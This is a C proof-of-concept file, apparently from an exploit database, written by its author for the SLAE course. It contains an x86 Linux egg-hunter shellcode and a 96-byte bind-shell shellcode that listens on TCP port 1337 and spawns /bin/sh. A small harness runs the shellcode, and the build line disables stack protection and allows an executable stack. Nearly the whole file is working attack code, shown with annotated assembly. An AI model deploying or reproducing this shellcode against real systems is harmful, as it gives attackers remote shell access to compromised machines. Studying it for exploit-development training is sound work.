/*
* Title: Egg Hunter PoC
* Platform: linux/x86
* Date: 2015-01-07
* Author: Dennis 'dhn' Herrmann
* Website: https://zer0-day.pw
* Github: https://github.com/dhn/SLAE/
* SLAE-721
*/
/*
* egg_hunter.nasm
* ---------------
* BITS 32
*
* global _start
* section .text
*
* EGG_SIG equ 0x4f904790 ; signature
*
* _start:
* cdq ; zero out edx
* mov edx, EGG_SIG ; edx = 0x4f904790
*
* search_the_egg:
* inc eax ; increment eax
* cmp DWORD [eax], edx ; compare eax with the EGG_SIG
* jne search_the_egg ; if not compare jump to search_the_egg
*
* jmp eax ; jump to eax
*
*/
#include <stdio.h>
#include <string.h>
/*
* Egg Signature:
*
* 0x4f 0x90 0x47 0x90
* | | | |
* dec edi - NOP - inc edi - NOP
*/
#define EGG_SIG "\x90\x47\x90\x4f"
unsigned char egg_hunter[] = \
"\x99" /* cdq */
"\xba\x90\x47\x90\x4f" /* mov edx, 0x4f904790 */
"\x40" /* inc eax */
"\x39\x10" /* cmp DWORD PTR [eax], edx */
"\x75\xfb" /* jne 6 <search_the_egg> */
"\xff\xe0"; /* jmp eax */
/*
* Bind Shell TCP shellcode - 96 byte
* bind to port: 1337
*/
unsigned char shellcode[] = \
EGG_SIG /* Egg Signature */
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6"
"\x56\x6a\x01\x6a\x02\x89\xe1\xcd"
"\x80\x5f\x97\x93\xb0\x66\x56\x66"
"\x68\x05\x39\x66\x6a\x02\x89\xe1"
"\x6a\x10\x51\x57\x89\xe1\xcd\x80"
"\xb0\x66\xb3\x04\x56\x57\x89\xe1"
"\xcd\x80\xb0\x66\xb3\x05\x56\x56"
"\x57\x89\xe1\xcd\x80\x93\x31\xc9"
"\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80"
"\x75\xf8\x6a\x0b\x58\x31\xc9\x51"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x89\xca\xcd\x80";
/*
* $ gcc -Wl,-z,execstack -fno-stack-protector PoC.c -o PoC
* [+] Egg Hunter Length: 13
* [+] Shellcode Length + 4 byte egg: 100
*
*/
void main()
{
printf("[+] Egg Hunter Length: %d\n", strlen(egg_hunter));
printf("[+] Shellcode Length + 4 byte egg: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())egg_hunter;
ret();
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation